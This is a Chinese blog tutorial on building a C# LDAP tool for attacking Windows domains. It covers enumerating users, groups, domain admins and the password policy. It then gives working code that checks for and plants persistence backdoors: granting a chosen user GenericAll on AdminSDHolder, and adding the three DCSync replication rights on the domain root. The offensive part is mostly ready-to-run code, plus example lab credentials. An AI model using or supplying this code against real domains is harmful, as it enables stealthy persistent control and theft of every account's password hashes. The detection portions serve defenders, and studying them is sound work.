C#编写LDAP内网渗透工具

VSole2021-10-03 08:33:40

0x01 LDAP连接

我们常规的ldap查询例如ldapsearch

ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local"

ldap连接地址为:ldap://192.168.11.16 用户为hack 密码为test123..

在域外我们需要指定ip地址,在域内我们只需要指定域名也行,例如测试环境的redteam,也就是ldap://redteam,这里就说明我们写代码的时候就需要考虑是在域内还是在域外。

在c#进行ldap连接的时候需要引入DirectoryServices.dll,这个是系统自带的,自行寻找。

using System.DirectoryServices

1.1域外连接

string url = "LDAP://192.168.11.16/";
string username = "hack";
string password = "test123..";
DirectoryEntry coon = new DirectoryEntry(url,username, password);

DirectoryEntry类可封装 Active Directory 域服务层次结构中的节点或对象。

1.2 域内连接

如果是在域内,我们直接可以使用

DirectoryEntry coon = new DirectoryEntry();

所以我们就要判断下两种情况。我们知道了要用coon来获取节点列表,用search来进行条件查询。我们可以写两个方法来进行获取:

        //域内
        public static DirectoryEntry Get_coon_nopass()
        {
            coon = new DirectoryEntry();
            return coon;
        }
        public static DirectorySearcher Get_search_nopass()
        {
            search = new DirectorySearcher(coon);
            return search;
        }
        //域外
        public static void SET_LDAP_USER_PASS()
        {
            url = "LDAP://" + GetArgsValue.domain;
            username = GetArgsValue.user;
            password = GetArgsValue.pass;
        }
        public static DirectoryEntry Get_coon()
        {
            coon = new DirectoryEntry(url, username, password);
            return coon;
        }
        public static DirectorySearcher Get_search()
        {
            search = new DirectorySearcher(coon);
            return search;
        }

域内很好理解,这里来说下域外。SET_LDAP_USER_PASS()这个方法用来获取url,username,password,然后调用了GetArgsValue类里面的属性。

这里我用了NDesk.Options来处理获取的参数。

先定义三个list

List domains = new List();
List users = new List();
List passes = new List();
{ "t|target=", "the {Target} of the needed to add user",v => adduser.Add (v) },
{ "d|domain=", "the {IP} of the target",v => domains.Add (v) },
{ "u|user=", "the {user} of the target",v => users.Add (v) },

这里的意思就是当用户输入-t -d -u 后面接受的值分别传递给了domains,users,passes。

然后写了个GetArgsValue类来存储这些值

        public static string domain = "";
        public static string user = "";
        public static string pass = "";
                public static void GetDomainValue(List param1 = null)
        {
            foreach (string p in param1)
            {
                domain = p;
            }
        }
        public static void GetUserValue(List param2 = null)
        {
            foreach (string p in param2)
            {
                user = p;
            }
        }
        public static void GetPassValue(List param3 = null)
        {
            foreach (string p in param3)
            {
                pass = p;
            }
        }

然后在主函数调用了一下方法。

//domain ip
GetArgsValue.GetDomainValue(domains);
//domain user
GetArgsValue.GetUserValue(users);
//domain pass
GetArgsValue.GetPassValue(passes);

那么当用户输入的值就会存储在GetArgsValue类里面的3个字段里。现在看到一下就很好理解了

url = "LDAP://" + GetArgsValue.domain;
username = GetArgsValue.user;
password = GetArgsValue.pass;

域内外连接都写了,然后就要写一个方法来接受我们的连接。

        public static void LDAP_COON()
        {
            if(GetArgsValue.user == "" && GetArgsValue.pass == "")
            {
                try
                {
                    coon = Get_coon_nopass();
                    search = Get_search_nopass();
                }
                catch
                {
                    Font.Warning();
                    Console.WriteLine("connection ldap fail");
                    Font.NormailFonts();
                }
            }else if(GetArgsValue.user != "" && GetArgsValue.pass != "")
            {
                try
                {
                    SET_LDAP_USER_PASS();
                    coon = Get_coon();
                    search = Get_search();
                }
                catch
                {
                    Font.Warning();
                    Console.WriteLine("connection ldap fail");
                    Font.NormailFonts();
                }
            }
        }

这里我的方法就是当GetArgsValue.user和GetArgsValue.pass的值为空的时候就会执行域内连接方法,否则就为域外。

我们把这个连接方法封装到Ldapcoon类里面,方便后面的调用

当在域外输入以下就会连接

xx.exe -d 192.168.11.16 -u hack -p test123..

0x02 Filter搜索条件

这里只会讲一些我们需要用到的一些语法,其他语法如果感兴趣可以自行搜索下。

这里先举例获取域内用户

(&(objectClass=user)(objectCategory=person))

在c#中DirectorySearcher类的作用是对 Active Directory 域服务执行查询

public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);
searchRoot
DirectoryEntry
Active Directory 域服务层次结构中的节点,从该节点处开始搜索。 SearchRoot 属性初始化为该值。

设置filter为查询域内所有用户

DirectorySearcher search = new DirectorySearcher(coon);
search.Filter = "(&(objectClass=user)(objectCategory=person))";
foreach (SearchResult r in search.FindAll())
            {
                string users = "";
                try
                {
                    users = r.Properties["name"][0].ToString();
                    Console.WriteLine(users);
                }
                catch
                {
                    Console.WriteLine("error");
                }
            }

这里name值如何而来,我其实是这样看的:我们先用ldapsearch执行该语句

ldapsearch -x -H ldap://192.168.11.16:389 -D "CN=hack,CN=Users,DC=redteam,DC=local" -w test123.. -b "DC=redteam,DC=local" "(&(objectClass=user)(objectCategory=person))"

代码:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.DirectoryServices;
namespace DemoLdap
{
    class Program
    {
        static void Main(string[] args)
        {
            string url = "LDAP://192.168.11.16";
            string username = "hack";
            string password = "test123..";
            DirectoryEntry coon = new DirectoryEntry(url, username, password);
            DirectorySearcher search = new DirectorySearcher(coon);
            search.Filter = "(&(objectClass=user)(objectCategory=person))";
            foreach(SearchResult r in search.FindAll())
            {
                string users = "";
                try
                {
                    users = r.Properties["name"][0].ToString();
                    Console.WriteLine(users);
                }
                catch
                {
                    Console.WriteLine("error");
                }
            }
        }
    }
}

执行结果为:

0x03 c#获取域内基本信息

前面连接函数已经写好后面获取这些基本信息就很简单了。

        public static void GetAllUsers()
        {
            try
            {
                Ldapcoon.LDAP_COON();
                Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
                Font.InfoFonts();
                Console.WriteLine("===========All Users===========");
                Font.NormailFonts();
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string domain_users = "";
                    domain_users = r.Properties["name"][0].ToString();
                    Console.WriteLine(domain_users);
                }
            }
            catch
            {
                Font.Warning();
                Console.WriteLine("error!");
                Font.NormailFonts();
            }
        }

首先通过Ldapcoon类的LDAP_COON()方法获取域内节点coon,和可以用来搜索的search。域内就会返回域内的DirectoryEntry和DirectorySearcher对象,域外就会返回域外的DirectoryEntry和DirectorySearcher对象。

后面一些其他的就不再详讲

查询域内组

       public static void GetAllGroups()
        {
            try
            {
                Ldapcoon.LDAP_COON();
                Ldapcoon.search.Filter = "(&(objectCategory=group))";
                Font.InfoFonts();
                Console.WriteLine("===========All Groups===========");
                Font.NormailFonts();
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string groups = "";
                    string groupdescription = "";
                    groups = r.Properties["cn"][0].ToString();
                    Console.WriteLine("Group: " + groups);
                    //groupdescription = r.Properties["description"][0].ToString();
                    //Console.WriteLine("Description: " + groupdescription + "\r");
                }
            }
            catch
            {
                Font.Warning();
                Console.WriteLine("error!");
                Font.NormailFonts();
            }
        }

域内密码策略:

        public static void GetPassPolicy()
        {
            try
            {
                Ldapcoon.LDAP_COON();
                Font.InfoFonts();
                Console.WriteLine("===========Pass Policy===========");
                Font.NormailFonts();
                SearchResult r = Ldapcoon.search.FindOne();
                long maxDays = 0;
                long minDays = 0;
                Int64 maxPwdAge = 0;
                Int64 minPwdAge = 0;
                string minPwdLength = "";
                string lockoutThreshold = "";
                Int64 lockoutDuration = 0;
                long lockTime = 0;
                maxPwdAge = (Int64)r.Properties["maxPwdAge"][0];
                maxDays = maxPwdAge / -864000000000;
                minPwdAge = (Int64)r.Properties["minPwdAge"][0];
                minDays = minPwdAge / -864000000000;
                minPwdLength = r.Properties["minPwdLength"][0].ToString();
                lockoutThreshold = r.Properties["lockoutThreshold"][0].ToString();
                lockoutDuration = (Int64)r.Properties["lockoutDuration"][0];
                lockTime = lockoutDuration / -864000000000;
                Console.WriteLine("最小修改密码时间:" + minDays);
                Console.WriteLine("最大修改密码时间:" + maxDays);
                Console.WriteLine("最小密码长度:" + minPwdLength);
                Console.WriteLine("多少次锁定:" + lockoutThreshold);
                Console.WriteLine("锁定持续时间:" + lockTime);
            }
            catch
            {
                Font.Warning();
                Console.WriteLine("error!");
                Font.NormailFonts();
            }
        }

域管

        public static void GetAllAdmins()
        {
            try
            {
                Ldapcoon.LDAP_COON();
                Ldapcoon.search.Filter = "(&(objectClass=group)(cn=Domain Admins))";
                Font.InfoFonts();
                Console.WriteLine("===========All Domain Admins===========");
                Font.NormailFonts();
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    int domain_users_count = 0;
                    string domain_users = "";
                    int len = 0;
                    domain_users_count = r.Properties["member"].Count;
                    while(len < domain_users_count)
                    {
                        domain_users = r.Properties["member"][len].ToString();
                        len++;
                        if (domain_users.Contains("User"))
                        {
                            Console.WriteLine(domain_users);
                        }
                        else
                        {
                            continue;
                        }  
                    }
                }
            }
            catch
            {
                Font.Warning();
                Console.WriteLine("error!");
                Font.NormailFonts();
            }
        }
                                                   

这里查询域管,我是这样进行处理的,我们先通过ldapsearch来查看返回结果

然后我获取member的数量然后看里面是否包含user来输出。

0x04 AdminSDHolder检测与后门用户添加

4.1 检测

AdminSDHolder是对CN=AdminSDHolder,CN=System,DC=redteam,DC=local这个cn拥有完全控制权限的用户,我们前面说到

public DirectorySearcher (System.DirectoryServices.DirectoryEntry searchRoot);

这里的searchroot就是查询的根地址我们就需要绑定到CN=AdminSDHolder,CN=System,DC=redteam,DC=local这里来也就是说url为

LDAP://192.168.11.16/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
或者为
LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local

每个域的名字都不一样所以我们要来获取对象的DC=redteam,DC=local和redteam这个值。

这里我们来创建一个public_value类也就是公共值类。

我们通过adexplorer来可以看到distinguishedName的值就为我们需要的。

我们可以看到objectClass为domainDNS.

所以我们的filter为:

(&(objectClass=domainDNS))

这里先用ldapsearch来进行查询

所以我们可以写一个方法来获取了:

        //获取DC=redteam,DC=local这个值
        public static String GetdistinguishedName()
        {
            string Domain_DNS_Name = "";
            try
            {
                Ldapcoon.LDAP_COON();
                Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string domainDNS_Name = "";
                    domainDNS_Name = r.Properties["distinguishedName"][0].ToString();
                    Domain_DNS_Name = domainDNS_Name;
                }
            }
            catch
            {
                Font.Warning();
                Console.WriteLine("error!");
                Font.NormailFonts();
            }
            return Domain_DNS_Name;
        }

同理

        //获取readteam这个值
        public static String Get_Dns_First_Name()
        {
            string Dns_First_Name = "";
            try
            {
                Ldapcoon.LDAP_COON();
                Ldapcoon.search.Filter = "(&(objectClass=domainDNS))";
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string domainDC_Name = "";
                    domainDC_Name = r.Properties["dc"][0].ToString();
                    Dns_First_Name = domainDC_Name;
                }
            }
            catch
            {
                Font.Warning();
                Console.WriteLine("error!");
                Font.NormailFonts();
            }
            return Dns_First_Name;
        }

那么现在就可以绑定adminsdholder路径了

            //首先获取DC=redteam,DC=local这个值
            string distinguishedName = "";
            distinguishedName = public_value.GetdistinguishedName();
            //然后获取readteam这个值
            string dc = "";
            dc = public_value.Get_Dns_First_Name();
            if (dc != "" && distinguishedName != "")
            {
                //进行拼接如果在域内可以直接拼接为以下
                //LDAP://redteam/CN=AdminSDHolder,CN=System,DC=redteam,DC=local
                bool flag = public_value.isindomain();
                string AdminSDHolder_path = "";
                if (flag)
                {
                    AdminSDHolder_path = "LDAP://" + dc + "/CN=AdminSDHolder,CN=System," + distinguishedName;
                }
                else
                {
                    AdminSDHolder_path = "LDAP://" + GetArgsValue.domain + "/CN=AdminSDHolder,CN=System," + distinguishedName;
                }
                Ldapcoon.coon.Path = AdminSDHolder_path;

这里为了方便我写了个isindomain放来来判断是否在域内还是在域外

        //判断域内还是域外
        public static bool isindomain()
        {
            if (GetArgsValue.user != "" && GetArgsValue.pass != "")
            {
                return false;
            }
            return true;
        }

我们需求很简单就是要获取哪些用户对adminsdholder这个cn拥有完全控制权限。

DirectoryEntry类有个属性叫做ObjectSecurity作用是获取或设置此项的安全说明符。这个详细请自行查看msdn。

                 ActiveDirectorySecurity sec = Ldapcoon.coon.ObjectSecurity;
                AuthorizationRuleCollection rules = null;
                rules = sec.GetAccessRules(true, true, typeof(NTAccount));
                foreach (ActiveDirectoryAccessRule rule in rules)
                {
                    if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
                    {
                        string acl = rule.IdentityReference.Value;
                        if (acl.Contains("-"))
                        {
                            //域外查询可能会出现用户名为sid的情况。所以需要转换
                            //Console.WriteLine(acl);
                            string user_name = public_value.SidToUserName(acl);
                            if(user_name != "error")
                            {
                                Console.WriteLine(user_name);
                            }  
                        }
                        else
                        {
                            Console.WriteLine(acl);
                        }
                    }
                }

获取到coon的安全说明符后调用GetAccessRules方法获取与指定的安全性标识符关联的访问规则的集合。也就是说获取我们这个节点的规则集合,然后用foreach来循环判断。当用户的ActiveDirectoryRights也就是权限为GenericAll我们就输出出来他的名字,也就是对adminsdholder这个拥有完全控制权限的用户。当我们在域外的时候我们获取到的用户可能是sid,所以我们还需要让sid转换为域内用户名字。当然这个用户可能是一个user,group或者一个computer

这里调用了public_value的SidToUserName方法。

        //sid to username
        public static string SidToUserName(string sid)
        {
            try
            {
                Ldapcoon.LDAP_COON();
                string url = "LDAP://" + GetArgsValue.domain + "/ + sid + ">";
                Ldapcoon.coon.Path = url;
                Ldapcoon.search.Filter = "(&(objectClass=user)(objectCategory=person))";
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string users = "";
                    users = r.Properties["name"][0].ToString();
                    if (users != "")
                    {
                        return users;
                    }
                }
                Ldapcoon.search.Filter = "(&(objectClass=group))";
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string groups = "";
                    groups = r.Properties["name"][0].ToString();
                    if (groups != "")
                    {
                        return groups;
                    }
                }
                Ldapcoon.search.Filter = "(&(objectClass=computer))";
                foreach (SearchResult r in Ldapcoon.search.FindAll())
                {
                    string computers = "";
                    computers = r.Properties["name"][0].ToString();
                    if (computers != "")
                    {
                        return computers;
                    }
                }
            }
            catch
            {
            }
            return "error";
        }

在ldap用支持以下语法这种形式

LDAP://192.168.11.16/

于是我们把sid带入,设置coon.path为该用户再通过(&(objectClass=user)(objectCategory=person))过滤条件搜索出来,比如

我们绑定了hack用户为rootpath,那么通过过滤条件搜索出来的也是它自己,因为它没有子节点了。然后获取他的name值,当获取到的不为空就返回,否则就返回error,然后在adminsdholder检测代码这边我们写道

                        string acl = rule.IdentityReference.Value;
                        if (acl.Contains("-"))
                        {
                            //域外查询可能会出现用户名为sid的情况。所以需要转换
                            //Console.WriteLine(acl);
                            string user_name = public_value.SidToUserName(acl);
                            if(user_name != "error")
                            {
                                Console.WriteLine(user_name);
                            } 

当user_name不为error的时候就会输出,那么什么时候会输出error呢?假如我们以前有一个用户为qqq,然后他对adminsdholder这个组拥有完全控制权限,但是我们后来把这个用户删除了,他就会到一个CN=Deleted Objects里面他的sid就为url就为下面这个然后我们的LDAP://redteam/就会失败。

CN=qqqDEL:67e38247-2727-4c5a-8704-c9f33ad747da,CN=Deleted Objects,DC=redteam,DC=local

我们在匹配谁对adminsdholder拥有完全控制权限的时候还是会检测到。就搜索失败返回error,这里我们获取到error的直接continue。

4.2 添加

前面同理我们需要设置rootpath

Ldapcoon.LDAP_COON();
//获取DC=redteam,DC=local
string distinguishedName = "";
string domainname = "";
domainname = public_value.Get_Dns_First_Name();
distinguishedName = public_value.GetdistinguishedName();
//string AdminSDHolder_Path = "LDAP://192.168.11.16/CN=System,DC=redteam,DC=local";
string AdminSDHolder_Path = "LDAP://" + domainname + "/" + "CN=System," + distinguishedName;
//Console.WriteLine(AdminSDHolder_Path);
Ldapcoon.coon.Path = AdminSDHolder_Path;

赋予用户对adminsdholder完全控制权限

            foreach (DirectoryEntry computer in Ldapcoon.coon.Children)
            {
                if (computer.Name == "CN=AdminSDHolder")
                {
                    ActiveDirectorySecurity sdc = computer.ObjectSecurity;
                    NTAccount Account = new NTAccount(username);
                    SecurityIdentifier Sid =(SecurityIdentifier)Account.Translate(typeof(SecurityIdentifier));
                    ActiveDirectoryAccessRule rule = new ActiveDirectoryAccessRule(Sid,ActiveDirectoryRights.GenericAll,AccessControlType.Allow);
                    sdc.SetAccessRule(rule);
                    computer.CommitChanges();
                    Font.InfoFonts();
                    Console.WriteLine("AdminSDHolder back door add user "+ username + " success!!");
                    Font.NormailFonts();
                }
            }

我们先遍历节点当节点为CN=AdminSDHolder的时候获取他的安全规则集合

然后我们看到ActiveDirectoryAccessRule类:用于表示 Active Directory 域服务对象的自由访问控制列表 (DACL) 中的访问控制项 (ACE)。

ActiveDirectoryAccessRule(IdentityReference, ActiveDirectoryRights, AccessControlType)

我们可以看到第一个参数为一个IdentityReference对象,第二个参数为访问规则权限的一个或多个,第三个参数为访问规则类型。

我们前面的account为NTAccount类型,我们可以通过Translate把他转换为IdentityReference类型,然后第二个我们设置为GenericAll,第三个设置为允许。我们设置了这个规则后可以通过SetAccessRule方法来设置。

最后通过CommitChanges方法来进行添加。

0x05 Dcsync检测与后门用户添加

5.1 检测

当用户对根域拥有完全控制权限或者拥有以下三条ace或者对以下权限打勾的时候就能dcsync。

1131f6aa-9c07-11d1-f79f-00c04fc2dcd2
1131f6ad-9c07-11d1-f79f-00c04fc2dcd2
89e95b76-444d-4c62-991a-0facbeda640c

我们先绑定rootpath为根路径然后先判断拥有完全控制权限的用户:

                    if (rule.ActiveDirectoryRights.ToString().Equals("GenericAll"))
                    {
                        string acl = rule.IdentityReference.Value;
                        if (acl.Contains("-"))
                        {
                            //域外查询可能会出现用户名为sid的情况。所以需要转换
                            //Console.WriteLine(acl);
                            string user_name = public_value.SidToUserName(acl);
                            if (user_name != "error")
                            {
                                ACE_Changes.Add(user_name);
                                ACE_Changes_All.Add(user_name);
                                ACE_Changes_In_Filtered_Set.Add(user_name);
                            }
                            else
                            {
                                continue;
                            }
                        }
                        else
                        {
                            ACE_Changes.Add(acl);
                            ACE_Changes_All.Add(acl);
                            ACE_Changes_In_Filtered_Set.Add(acl);
                        } 
                    }

这里的

ACE_Changes.Add(acl);
ACE_Changes_All.Add(acl);
ACE_Changes_In_Filtered_Set.Add(acl);

这里我通过switch case来进行判断是否拥有这个三条acl,可能有些用户只有两条或者一条,所以我通过

string guids = rule.ObjectType.ToString();
switch (guids)
{
  case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
    username = dcsync_return_username(rule);
    if(username == null)
    {
        continue;
    }
    //Console.WriteLine("ACE:复制目录更改");
    //Console.WriteLine("User:"+ username);
    ACE_Changes.Add(username);
    break;
  case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
    username = dcsync_return_username(rule);
    if (username == null)
    {
        continue;
    }
    //Console.WriteLine("ACE:复制目录更改全部");
    //Console.WriteLine("User:" + username);
    ACE_Changes_All.Add(username);
    break;
  case "89e95b76-444d-4c62-991a-0facbeda640c":
    username = dcsync_return_username(rule);
    if (username == null)
    {
        continue;
    }
    //Console.WriteLine("ACE:复制过滤集中的目录更改");
    //Console.WriteLine("User:" + username);
    ACE_Changes_In_Filtered_Set.Add(username);
    break;
}

来进行处理,当拥有每条acl的时候就添加到一个集合里面,然后我们再取三个集合的交集

//取三个集合的交集
IEnumerable dcsync_users1 = ACE_Changes.Intersect(ACE_Changes_All);
IEnumerable dcsync_users2 = dcsync_users1.Intersect(ACE_Changes_In_Filtered_Set);
foreach(string dcsync_users in dcsync_users2)
{
    Console.WriteLine(dcsync_users);
}

通过以上方法取出来我发现了一个问题当一个用户勾选了特殊权限,他的acl里面那三个复制目录权限是没有打上勾的但是依然能够进行dcsync。

再ActiveDirectoryAccessRule类里面存在一个InheritedObjectType属性,他的作用是获取可继承ObjectAccessRule对象的子对象的类型,所以我们也要判断用户这里面的值是否也用户这三条acl。

string guids_extend = rule.InheritedObjectType.ToString();
switch (guids_extend)
{
  case "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2":
  username = dcsync_return_username(rule);
  if (username == null)
  {
      continue;
  }
  //Console.WriteLine("ACE:复制目录更改");
  //Console.WriteLine("User:"+ username);
  ACE_Changes.Add(username);
  break;
    case "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2":
    username = dcsync_return_username(rule);
    if (username == null)
    {
        continue;
    }
    //Console.WriteLine("ACE:复制目录更改全部");
    //Console.WriteLine("User:" + username);
    ACE_Changes_All.Add(username);
    break;
  case "89e95b76-444d-4c62-991a-0facbeda640c":
  username = dcsync_return_username(rule);
  if (username == null)
  {
      continue;
  }
  //Console.WriteLine("ACE:复制过滤集中的目录更改");
  //Console.WriteLine("User:" + username);
  ACE_Changes_In_Filtered_Set.Add(username);
  break;
  }

5.2 添加

我们通过ExtendedRightAccessRule类来添加这三条acl的guid

public ExtendedRightAccessRule (System.Security.Principal.IdentityReference identity, System.Security.AccessControl.AccessControlType type, Guid extendedRightType);

第一个为SecurityIdentifier的对象,前面已经说明了。第二个为访问规则类型。第三个为acl的guid。

然后通过AddAccessRule来添加。

ActiveDirectorySecurity adsOUSec = Ldapcoon.coon.ObjectSecurity;
NTAccount ntaToDelegate = new NTAccount(username);
SecurityIdentifier Sid = (SecurityIdentifier)ntaToDelegate.Translate(typeof(SecurityIdentifier));
Guid Get_Changes = new Guid("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2");
Guid Get_Changes_All = new Guid("1131f6ad-9c07-11d1-f79f-00c04fc2dcd2");
Guid ACE_Changes_In_Filtered = new Guid("89e95b76-444d-4c62-991a-0facbeda640c");
ExtendedRightAccessRule Changes = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes);
ExtendedRightAccessRule Changes_All = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, Get_Changes_All);
ExtendedRightAccessRule Changes_Filtered = new ExtendedRightAccessRule(ntaToDelegate, AccessControlType.Allow, ACE_Changes_In_Filtered);
adsOUSec.AddAccessRule(Changes);
adsOUSec.AddAccessRule(Changes_All);
adsOUSec.AddAccessRule(Changes_Filtered);
Ldapcoon.coon.CommitChanges()

stringtry
本作品采用《CC 协议》,转载必须注明作者和本文链接
java安全-02RMI
2022-03-25 15:35:13
基础知识动态代理反射攻击方式注册端攻击服务端java -cp .\ysoserial-master-8eb5
漏洞分析花了蛮多时间
获取到类之后,我们就可以通过反射来间接调用里面的方法,获取里面的变量等。
java反射机制是什么
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权
ldap连接地址为:ldap://192.168.11.16 用户为hack 密码为test123.. 在域外我们需要指定ip地址,在域内我们只需要指定域名也行,例如测试环境的redteam,也就是ldap://redteam,这里就说明我们写代码的时候就需要考虑是在域内还是在域外。 在c#进行ldap连接的时候需要引入DirectoryServices.dll,这个是系统自带的,自行寻找。
近日,奇安信威胁情报中心注意到外国安全厂商humansecurity在外网揭露了一个名为BADBOX的事件,其报告称观察到至少观察到74000 部基于 Android 的手机、平板电脑、和全球联网电视盒有遭遇BADBOX 感染的迹象;而来自趋势科技的说法是该后门据信被植入了2000万数量级别的设备。实际上,humansecurity在其分析报告中已经对该事件进行了比较详细的技术分析,各位如果有兴
它指的是一个有用的工具库,帮助处理和操作XML格式的数据。ROME库允许我们把XML数据转换成Java中的对象,这样我们可以更方便地在程序中操作数据。另外,它也支持将Java对象转换成XML数据,这样我们就可以把数据保存成XML文件或者发送给其他系统。
遗憾的是,国外白帽不同意 Oracle 对这个漏洞的分类“难以利用的漏洞……”因此本文将说明为什么这个 CVE 应该被指定为 10.0 而不是 7.2 的评级,尽管 Oracle 声称,此漏洞不需要任何身份验证即可利用。该软件的最新版本可在 Oracle 的下载中心轻松获得,在以普通用户身份进行身份验证后即可访问,获得安装文件不需要许可证或销售电话。
现在只对常读和星标的公众号才展示大图推送,建议大家把潇湘信安“设为星标”,否则可能看不到了!0x00 前言对国外某地产公司的一次测试,测试过程中每一步都有阻碍,不像以往的一帆风顺,对其中涉及的一些点进行一个简单的记录,码较厚,见谅。
VSole
网络安全专家